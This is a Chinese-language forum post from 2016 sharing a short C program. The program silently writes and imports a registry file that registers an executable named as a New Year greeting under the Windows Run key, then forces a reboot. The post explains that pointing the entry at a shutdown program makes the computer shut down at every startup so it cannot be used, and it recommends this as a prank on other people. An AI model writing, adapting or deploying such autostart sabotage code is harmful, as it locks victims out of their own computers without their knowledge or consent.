標(biāo)題:
修改注冊表 建立開機(jī)啟動(dòng)項(xiàng) C語言程序 用vc++實(shí)現(xiàn)
[打印本頁]
作者:
51hei社區(qū)
時(shí)間:
2016-1-16 06:06
標(biāo)題:
修改注冊表 建立開機(jī)啟動(dòng)項(xiàng) C語言程序 用vc++實(shí)現(xiàn)
#include<stdio.h>
#include<dos.h>
#include<process.h>
void main()
{
int flag;
FILE *fp;
fp=fopen("c:\\a.reg","wb");
fprintf(fp,"%s\n","REGEDIT4");
fprintf(fp,"%s","[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"MyRegist\"=\"C:\\\\newfile\\\\console\\\\Debug\\\元旦快樂.exe\"");
fclose(fp);
flag=system("regedit /s c:\\a.reg");
system("shutdown -r -t 5");
}
這個(gè)可以和前面關(guān)機(jī)程序一起用,將關(guān)機(jī)程序用注冊表添加到開機(jī)啟動(dòng)項(xiàng),之后每次開機(jī)時(shí)就會(huì)運(yùn)行關(guān)機(jī)程序,這樣就無法開機(jī)了!建議不會(huì)修改注冊表的人 不要運(yùn)行該程序!這個(gè)可以用來整人哦! 如 上面寫的 元旦快樂就是個(gè)關(guān)機(jī)程序
歡迎光臨 (http://www.torrancerestoration.com/bbs/)
Powered by Discuz! X3.1